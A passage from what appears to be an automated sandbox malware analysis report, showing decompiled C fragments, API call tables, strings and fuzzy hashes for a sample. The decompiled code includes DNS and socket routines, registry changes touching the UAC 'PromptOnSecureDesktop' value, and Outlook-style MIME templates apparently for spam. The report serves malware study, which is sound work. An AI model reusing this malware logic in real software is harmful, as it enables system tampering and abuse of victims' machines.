											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74E04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74E04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p2u, xrefs: 00402CC7

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p2u
API String ID: 1639031587-1441537569
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

localcfg, xrefs: 004019A3
Iphlpapi.dll, xrefs: 004019B7
GetIfEntry, xrefs: 004019E4
GetAdaptersInfo, xrefs: 004019DC
~3u`y3up2u, xrefs: 004019B1
123.45.67.89, xrefs: 004019A6
GetBestInterface, xrefs: 004019EF

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~3u`y3up2u
API String ID: 835516345-1317286920
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00435089, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435118
_get_int64_arg.LIBCMTD ref: 00435140
__aullrem.LIBCMT ref: 004352E5
__aulldiv.LIBCMT ref: 00435307
_write_multi_char.LIBCMTD ref: 0043540E
_write_string.LIBCMTD ref: 00435429
_write_multi_char.LIBCMTD ref: 00435455
_wctomb_s.LIBCMTD ref: 004354D2

Strings

-, xrefs: 004353AE
9, xrefs: 00435318

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: a9ec699edb316347cbedd7d3525ede8b6e8ee3ddf3a171ae1ebfc7ee8b1e8070
Instruction ID: ee3d30a2208e68951226499a309f1c881e1fd2ce24e142e628fabe1430f3e9f4
Opcode Fuzzy Hash: a9ec699edb316347cbedd7d3525ede8b6e8ee3ddf3a171ae1ebfc7ee8b1e8070
Instruction Fuzzy Hash: 30F128B1D056299BDF24CF54CC89BEEB7B1BB48304F1491DAE409A7241D738AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429746, Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 0042976D

Part of subcall function 0041DAE0: __invalid_parameter.LIBCMTD ref: 0041DB52

__invoke_watson_if_error.LIBCMTD ref: 00429776
_strlen.LIBCMT ref: 0042978B
_strlen.LIBCMT ref: 0042979C
_memcpy_s.LIBCMTD ref: 004297E4
__invoke_watson_if_error.LIBCMTD ref: 004297ED

Part of subcall function 0041DF60: __invoke_watson.LIBCMTD ref: 0041DF81

_strlen.LIBCMT ref: 004297FF
_strlen.LIBCMT ref: 00429810

Strings

lS@, xrefs: 004299CA, 004299D0
|S@, xrefs: 00429885
tS@, xrefs: 004299BC, 004299C2
`S@, xrefs: 00429983

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: `S@$lS@$tS@$|S@
API String ID: 3749650904-2621554435
Opcode ID: d9c043c37f070d86fccd26da6241ac091be6ce13ab8255e0f68d06b01f5ef7e7
Instruction ID: 3ddb7f279082f1a96c101d5cfef3309bc3ee3100a3832e2293529c281dff4566
Opcode Fuzzy Hash: d9c043c37f070d86fccd26da6241ac091be6ce13ab8255e0f68d06b01f5ef7e7
Instruction Fuzzy Hash: 819183B0E00228ABDB28DF51EC45BEE7774AB45704F5480AEF60976281D7789EC0CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043C32B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3C0
_get_int64_arg.LIBCMTD ref: 0043C3E8
__aullrem.LIBCMT ref: 0043C590
__aulldiv.LIBCMT ref: 0043C5B2
_write_multi_char.LIBCMTD ref: 0043C6CB
_write_string.LIBCMTD ref: 0043C6E6
_write_multi_char.LIBCMTD ref: 0043C712
__mbtowc_l.LIBCMTD ref: 0043C781

Strings

9, xrefs: 0043C5C3

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 809b9336705d3cdb08d33668d52f0cdf28c04fee9be4bd0ee0ca4a2e013f1c0a
Instruction ID: 9aa254a7bd7273730ab6ce0862ae964edd07a35711f7ad906e52763ddaf98284
Opcode Fuzzy Hash: 809b9336705d3cdb08d33668d52f0cdf28c04fee9be4bd0ee0ca4a2e013f1c0a
Instruction Fuzzy Hash: 6AF15BB1D002299FDB24DF58CC81BAEB7B1BF89314F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006C8578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 006C8643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 006C8664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 006C8691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 006C869A

Strings

", xrefs: 006C8955
PromptOnSecureDesktop, xrefs: 006C859F, 006C862E, 006C86A6, 006C86F1, 006C87AE, 006C87FB, 006C88D2, 006C88EE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 99bf79225c8913b194ff5687cf75cf37bc652c1fc4b04ac2ff1e22daae48b84e
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: B9C17E71900249BEEB21ABA4DD85FFE7B7EEB05300F14406EF604E3151EBB14E949B69

Uniqueness

Uniqueness Score: -1.00%

Function 006C2CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 006C2CD6
socket.WS2_32(00000002,00000002,00000011), ref: 006C2CF0
htons.WS2_32(00000000), ref: 006C2D2B
select.WS2_32 ref: 006C2D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 006C2D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 006C2E4B

Strings

p2u, xrefs: 006C2F17

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p2u
API String ID: 127016686-1441537569
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: bbda5ada2b0bed326e424d5173e9667a2bfc0cac36913bac9aba13c36d08952a
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 3961CD71904306ABC720AF64DC08FBBBBE9FB88754F00481DF845A7250D7B598808BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,74E5EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

GetNetworkParams, xrefs: 00402E28
Mt, xrefs: 00402E01
~3u`y3up2u, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$Mt$~3u`y3up2u
API String ID: 929413710-4203848216
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 006C14D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 006C15EA
lstrlenW.KERNEL32(-00000003), ref: 006C17C1

Strings

, xrefs: 006C16B2
D, xrefs: 006C1816
@, xrefs: 006C15D0
<, xrefs: 006C15C8

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: c656d023134db347fbd9cc007cb9704cc599eefa28924847f02c53eb3020d69e
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 72F18CB15083419FD720DF64C888FAAB7E6FB8A300F00892DF5969B391D7B4D944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 006C764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006C76C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 006C7740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 006C7778
___ascii_stricmp.LIBCMT ref: 006C789D
RegCloseKey.ADVAPI32(?), ref: 006C7937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 006C7956
RegCloseKey.ADVAPI32(?), ref: 006C7967
RegCloseKey.ADVAPI32(?), ref: 006C7995
RegCloseKey.ADVAPI32(?), ref: 006C7A3F

Part of subcall function 006CF3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,006C7713,?), ref: 006CF3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 006C79DF
RegCloseKey.ADVAPI32(?), ref: 006C7A36

Strings

", xrefs: 006C77E9
PromptOnSecureDesktop, xrefs: 006C76AE, 006C76B3, 006C76CE, 006C776B, 006C77CF, 006C784B, 006C7864, 006C79AB

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: 059c686c540ed645ba0bd99825e7777ee77f7343a9ad971b73a2f855c0c7b8dc
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: 9AC19171904209AFDB519BA4DC49FFE7BBAEF45310F1440AEF504E6291EA71DE808F64

Uniqueness

Uniqueness Score: -1.00%

Function 00434DE7, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434DEB
__get_printf_count_output.LIBCMTD ref: 00434DF9
__invalid_parameter.LIBCMTD ref: 00434E80
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434E95
_write_multi_char.LIBCMTD ref: 0043540E
_write_string.LIBCMTD ref: 00435429
_write_multi_char.LIBCMTD ref: 00435455
_wctomb_s.LIBCMTD ref: 004354D2

Strings

-, xrefs: 004353AE

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 3c58f9eff3430c3f3c9d4f234b86860fbe125b268161412f2199e53fc3098741
Instruction ID: aa1da67e7088bb8043c6e23fa8f9278d850d5233bebb00fb18243b940c90b015
Opcode Fuzzy Hash: 3c58f9eff3430c3f3c9d4f234b86860fbe125b268161412f2199e53fc3098741
Instruction Fuzzy Hash: C2A1BF70D016289BDF24DF54CC4ABEEB3B1AB88305F5491DAE5187B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

